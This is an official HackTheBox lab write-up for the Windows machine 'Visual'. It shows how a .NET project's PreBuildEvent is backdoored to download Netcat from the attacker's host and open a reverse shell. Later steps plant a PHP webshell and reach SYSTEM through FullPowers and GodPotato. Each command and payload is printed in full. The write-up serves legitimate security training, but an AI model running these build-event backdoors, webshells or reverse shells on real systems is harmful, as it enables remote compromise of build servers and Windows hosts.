



HACKTHEBOX



Visual

12th Feb. 2024 / Document No D24.100.269

Prepared By: amra

Machine Author: IsThisEnox

Difficulty: **Medium**

Classification: Official

Synopsis

Visual is a Medium Windows machine featuring a web service that accepts user-submitted `.NET 6.0` project repositories, building and returning the executables. By setting up a local Git repository containing a project with the `PreBuild` option set, a payload can be executed, leading to a reverse shell on the machine as the user `enox`. The user is able to write files on the web root directory and thus an attacker can get a reverse shell as the `nt authority\local service` account. Looking at the privileges of the service account, one is able to deduce that the basic privileges have been stripped off of the account. Nonetheless, there is a way to recover the privileges of the `local service` account, including the `SeImpersonate` privilege. Once this privilege is restored, the attacker is able to use a Potato exploit and get a shell as `nt authority\system`.

Skills Required

- Enumeration
- Apache2 Configuration
- Windows Service Accounts Knowledge

Skills Learned

- VisualStudio Backdooring
- Windows Privileges
- Potato Exploits

Enumeration

Nmap

```
ports=$(nmap -p- --min-rate=1000 -T4 10.129.229.122 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,,$//)
nmap -p$ports -sC -sV 10.129.229.122

PORT      STATE SERVICE VERSION
80/tcp    open  http      Apache httpd 2.4.56 ((win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
```

The initial Nmap output reveals only one port as open. On port `80` an Apache server is running.

Apache - Port 80

We begin our enumeration by visiting `http://10.129.229.122`.

Visual

Home

Welcome to Visual!

Experience a revolutionary approach to Visual Studio project compilation with Visual. Say goodbye to the frustrations of build issues on your machine. Simply provide us with your Git Repo link, and we'll handle the rest. Our cutting-edge technology compiles your projects and sends back the executable or DLL files you need, effortlessly and efficiently.

We currently support .NET 6.0 and C# programs, so make sure your Git Repo includes a .sln file for successful compilation. Trust Visual to simplify and streamline your project compilation process like never before.



Effortless Compilation

No need to stress over build issues. Let Visual do the heavy lifting for you!



Direct Download

We compile your code and send back the executables directly to you!



Support for .NET 6.0 & C#

We are always up to date, supporting the latest .NET 6.0 and C# programs.



Seamless Submission

Use our straightforward form to submit your Git Repo links for compiling.



GIT Integration

Visual integrates seamlessly with your Git repositories. Submitting your projects is just a click away!



Submit Your Repo

Enter Git Repo URL

Submit

We are presented with a web page that seems to offer build services for `.NET 6.0` Git projects. This means that, in theory, if we supply a valid Git repository URL to the web page, it will build the project on the remote machine and then return to us the executables. Let's try to verify that functionality. First of all, we start a Python web server.

```
sudo python3 -m http.server 80
```

Then, we use our IP as a URL to a Git repository.



Submit Your Repo

Almost immediately after clicking `Submit`, we are presented with a page that refreshes roughly every 5 seconds and after a while we get a callback on our Python web server.

[-] Your build is still being compiled. Please be patient.

[Return to homepage](#)

```
10.129.229.122 - - [12/Feb/2024 13:33:35] code 404, message File not found
10.129.229.122 - - [12/Feb/2024 13:33:35] "GET /info/refs?service=git-upload-pack
HTTP/1.1" 404 -
```

After a while, the page errors out and we are informed that `The repository doesn't contain a .sln file.`

[-] The repository doesn't contain a .sln file or the URL submitted is invalid.

[Return to homepage](#)

Foothold

Based on the information we have gathered, it appears that the following actions take place on the backend:

1. Our submitted repository is cloned, and it is expected that this repository includes a C# (.NET Framework 6.0) Visual Studio project, as indicated on the index page.
2. The Visual Studio project is then compiled, and the resulting executables should be provided. To leverage the Visual Studio build process for Remote Code Execution (RCE), we can utilize `PreBuild` and `PostBuild` events that can be configured through the `.csproj` file, as mentioned in a [blog by outflank](#) and [on this box's author's website](#).

First of all, we need a valid Visual Studio project for .NET Framework 6. Using Google to search for `.net 6 sample project Github`, we find [this](#) project that we can clone to our local machine.

```
git clone https://github.com/hgmauri/sample-dotnet6
```

Then, we have to edit the following file:

```
nano sample-dotnet6/src/Sample.DotNet6.Api/Sample.DotNet6.Api.csproj
```

We include a `PreBuild` event, as per the articles mentioned previously:

```
<Project Sdk="Microsoft.NET.Sdk.Web">

  <PropertyGroup>
    <TargetFramework>net6.0</TargetFramework>
    <LangVersion>preview</LangVersion>
    <PreBuildEvent>powershell.exe -c "curl http://10.10.14.44:8080/nc64.exe -o
C:/windows/Tasks/nc.exe; C:/windows/Tasks/nc.exe 10.10.14.44 9001 -e powershell"
    </PreBuildEvent>
  </PropertyGroup>
</SNIP>
```

The payload will pull a `Netcat` executable from our webserver on port `8080` and use it to connect back to a listener on port `9001`.

Then, we have to configure Apache2 to host our Git repository. We start by enabling the modules required:

```
sudo a2enmod cgi
sudo a2enmod alias
sudo a2enmod env
sudo service apache2 restart
```

Afterwards, we create a directory to host our Git repositories within the web root directory and then change the ownership.

```
sudo mkdir /var/www/html/git-repos
sudo chown -R www-data:www-data /var/www/html/git-repos
```

Finally, we append the following configuration to the Apache2 configuration file, located at `/etc/apache2/apache2.conf` and restart the service.

```
ScriptAlias /git/ /usr/lib/git-core/git-http-backend/
SetEnv GIT_PROJECT_ROOT /var/www/html/git-repos
SetEnv GIT_HTTP_EXPORT_ALL
Options +ExecCGI
AddHandler cgi-script .cgi
DirectoryIndex gitweb.cgi

<Directory /usr/lib/git-core>
    Require all granted
</Directory>
```

```
sudo service apache2 restart
```

Now, all we have to do is copy the project directory to our newly created directory and then initialize the Git repository.

```
cp -R sample-dotnet6 /var/www/html/git-repos
cd /var/www/html/git-repos/sample-dotnet6
git init
git add .
git config --global user.email "amra@visual.htb"
git commit -m "Initial commit"
```

We are ready to test our exploit. All that is left for us is to set up a Python webserver in the directory that we have [nc64.exe](#), on port 8080, and a `Netcat` listener on port 9001.

```
python3 -m http.server 8080
rlwrap nc -lvp 9001
```

Then, we supply our repository URL, `http://10.10.14.44/git/sample-dotnet6` on the page. After a while, we get a callback on our listener.

```
PS C:\xampp\htdocs\uploads\2dc35d8196018053ac7deb080a8f58> whoami
whoami
visual\nox
```

The `user.txt` flag can be found under `C:\users\nox\Desktop\user.txt`.

Lateral Movement

Looking around, we find out that we are able to write files on the web root directory. We can try to write a webshell and further enumerate the context under which the web application runs.

```
Set-Content -path "C:\xampp\htdocs\cmd.php" -value '<?php system($_GET["cmd"]); ?>'
```

Visiting `http://10.129.229.122/cmd.php?cmd=whoami`, we find out that the web application runs under the `nt authority\local service` account. We can get a new reverse shell as this user.

First of all, back on our original reverse shell as the user `enox`, we modify the permissions of `nc64.exe`, in order to be able to make use of the same binary.

```
icacls.exe C:\windows\Tasks\nc.exe /grant Everyone:F
```

Then, we set up a listener on our machine, once again, and trigger a reverse shell from our webshell.

```
r1wrap nc -lvp 9001
```

We visit the URI below, which runs a URL-encoded version of the `Netcat` command we used previously:

```
/cmd.php?cmd=C:\windows\tasks\nc.exe%20-e%20powershell%2010.10.14.44%209001
```

we get a reverse shell as the `nt authority\local service` account.

```
PS C:\xampp\htdocs> whoami  
  
nt authority\local service
```

Privilege Escalation

Interestingly enough, the [LocalService](#) account has a lot of privileges enabled by default, but in our case many of them are missing.

```
PS C:\xampp\htdocs> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a <code>process</code> working <code>set</code>	Disabled

Looking for ways to recover our default privileges, we stumble upon the [FullPowers](#) project. Let's download the the executable from the [Releases](#) page, transfer it to the remote machine using our Python webserver, and execute it in the `LocalService` reverse shell.

```
PS C:\xampp\htdocs> cd C:\windows\temp
```

```
PS C:\windows\temp> wget 10.10.14.44:8080/FullPowers.exe -O
C:\windows\temp\full.exe
PS C:\windows\temp> .\full.exe
PS C:\windows\temp> whoami /priv
```

PRIVILEGES INFORMATION

Privilege Name	Description	State
SeAssignPrimaryTokenPrivilege	Replace a process level token	Enabled
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Enabled
SeAuditPrivilege	Generate security audits	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

We have successfully recovered all of our privileges and most importantly, we have recovered the `SeImpersonatePrivilege`. We can exploit this privilege using [GodPotato](#). Once again, let's transfer the binary from the `Releases` page to the remote machine and use it to get `NT AUTHORITY\SYSTEM`.

First of all, we download the `GodPotato-NET4.exe` binary and rename it to `GodPotato.exe`. Then, we set up a listener on our local machine.

```
r1wrap nc -l vnp 9001
```

Finally, we transfer the `GodPotato.exe` binary to remote machine and get a reverse shell.

```
PS C:\windows\temp> wget 10.10.14.44:8080/GodPotato.exe -O
C:\windows\temp\god.exe
PS C:\windows\temp> C:\windows\temp\god.exe -cmd "cmd /c C:\windows\Tasks\nc.exe
-e powershell 10.10.14.44 9001"
```

We get a callback on our listener:

```
PS C:\windows\system32> whoami /all
```

USER INFORMATION

User Name	SID
nt authority\system	S-1-5-18

<SNIP>

The `root.txt` flag can be found under `C:\users\Administrator\Desktop\root.txt`.